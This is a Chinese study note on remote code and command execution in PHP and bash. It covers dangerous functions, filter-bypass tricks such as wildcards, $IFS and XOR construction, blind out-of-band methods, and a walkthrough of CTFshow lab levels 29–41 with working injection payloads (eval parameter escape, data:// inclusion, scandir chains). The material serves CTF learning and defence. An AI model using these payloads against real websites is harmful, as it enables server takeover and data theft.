RCE

RCE
Att@ckxu远程命令执行/远程代码执行
代码执行和命令执行可以互相转换
代码执行:
- 脚本——java,php,python
- 产生——Web源码、中间件平台、其他环境
- 检测——白盒 代码审计
- 检测——黑盒 漏扫工具、公开漏洞、手工看参数及功能点
- 防御——敏感函数禁用、变量过滤或固定、WAF产品
命令执行:
- 系统——Linux、Windows
- 产生——web源码、中间件平台、其他环境
- 检测——白盒 代码审计
- 检测——黑盒 漏扫工具,公开漏洞,手工看参数及功能点
- 防御——敏感函数禁用、变量过滤或固定、WAF产品
漏洞函数
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等 |
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等 |
eval exec subprocess os.system commands |
Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数, |
exec、shell_exec前面需要加echo
绕过
关键字过滤 - 过滤 flag
通配符绕过
flag=fl* |
转义符号
ca\t /fl\ag |
使用空变量∗ 和 *和∗和@,x , x,x,{x}绕过
ca$*t fl$*ag |
$x设置一个变量,但没有对变量赋值,为空,不影响前后命令执行
拼接法
a=fl;b=ag;cat$IFS$a$b |
${IFS},Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。
反引号绕过
cat `ls` //在php中这个`反引号代表执行命令的意思 |
编码绕过
echo 'flag' | base64 //获得flag的base64编码 |
组合绝活
touch "ag" |
异或无符号(过滤0-9a-zA-Z)
复现不成功..
异或
rce-xor.php:
生成的txt内容就是异或得到字符
rce-xor.py:构造payload
或
rce-xor-or.php
rce-xor-or.py:构造payload
过滤执行命令(如cat tac等)
more:一页一页的显示档案内容 |
过滤执行空格
%09(url传递)(cat%09flag.php)//%09是换行符的url编码 |
${IFS},Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。
无回显利用
大多数漏洞的无回显都是两种利用思路:带外和写文件
写文件
通过命令执行写个文件到当前目录下的x.txt中,再访问x.txt看看有无结果
带外访问dnslog
命令执行执行ping命令
白盒-CTFshow
29-通配符绕过
c参数GET型传参
过滤flag关键字
?c=system('ls'); |
30-system被过滤,使用exec
system被过滤
使用exec
payload:
?c=echo shell_exec('tac fl*'); |
31-参数逃逸
仍然是过滤system等,shell也被过滤
payload:
?c=eval($_GET[a]);&a=system('tac flag.php'); //为什么这样写,因为代码只检测参数c |
代码只检测过滤c的内容,我们将命令执行的结果赋值给变量a,再将a传递过去进行eval代码执行,将执行结果给c,c传递到服务器代码执行
32-36-结合文件包含使用
32
分号也被过滤,不能参数逃逸
手动添加include,联合文件包含,使用伪协议
<?php include "xx.xx";?> 这种是包含指定页面,不存在文件包含漏洞 |
因为空格,单引号被过滤
payload:
?c=include$_GET[a]?>&a=data://text/plain,<?=system('ls');?> |
33
又加了(和”的过滤,继续使用文件包含
?c=include$_GET[a]?>&a=data://text/plain,<?=system('ls');?> |
34
:也被过滤了,继续文件包含
?c=include$_GET[a]?>&a=data://text/plain,<?php system('tac flag.php');?> |
35
<和=也被过滤了,继续文件包含
?c=include$_GET[a]?>&a=data://text/plain,<?php system('tac flag.php');?> |
36
/和数字0-9也被过滤,继续文件包含
?c=include$_GET[a]?>&a=data://text/plain,<?php system('tac flag.php');?> |
37-文件包含
如果c中没有flag字样,就对c进行文件包含,有include,直接php伪协议,对flag过滤了,使用通配符绕过
?c=data://text/plain,<?php system('tac fl*.php');?> |
还可以用data的base64绕过
38-
php也被过滤,换种写法
?c=data://text/plain,<?=system('tac fl*');?> |
同样也可以使用data-base64
39
在文件包含时强行加了后缀,但是这里没有影响,继续使用伪协议
为什么没有影响呢??>已经闭合PHP语句?
40-无符号payload
ctfshow-web入门命令执行-web40/web41(附python脚本) - Aninock - 博客园
过滤了很多东西,但是过滤的是中文括号,不是英文括号,构造只含有英文括号的payload
打印当初路径下文件的函数:print_r(scandir(‘.’))
单引号和小数点已经过滤了,这里要先绕过
最简单的方法是利用函数传参,那就找当前能用包含小数点的函数
localeconv() 返回一包含本地数字及货币格式信息的数组
<?php |
我们需要获得这个数组的第一个索引值
接下来思路就是构造:print_r(scandir(localeconv()[0]))
但是这个函数是不能localeconv()[0]这样返回的,而且方括号也被过滤了,那么就要用到别的函数
- current() 函数返回数组中的当前元素(单元),默认取第一个值,
- pos() 同 current() ,是current()的别名
- reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE
这里三个函数都可以用
因此打印当前目录:
<?php |
当前目录为数组打印,继续获得目录数组的具体内容
这里可以的用next()
输出数组中的当前元素的下一个元素的值,也就是可以输出第二个(还有end可以输出最后一个)
但是flag在第三个怎么办?可以用array_reverse函数
这个函数就是将数组转置;
最终payload:
?c=show_source(next(array_reverse(scandir(current(localeconv()))))); |
show_source也可以换成highlight_file
41
分析正则,貌似过滤了所有数字和小写字母,后面还有个/i,大写字母也没了
其实看到这种全过滤,反倒是只有一种解法,就是构造字符串
& 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,其中按位异 | 没有过滤,过滤的字符是防异或、自增和取反构造字符
继续使用大佬的脚本https://www.cnblogs.com/aninock/p/15125215.html
如果出现了报错可以将url中的http改为https
黑盒
要思考哪些功能点会执行代码或者命令,但是这种不太常见,也可以直接利用工具帮忙探测(awvs、xray等)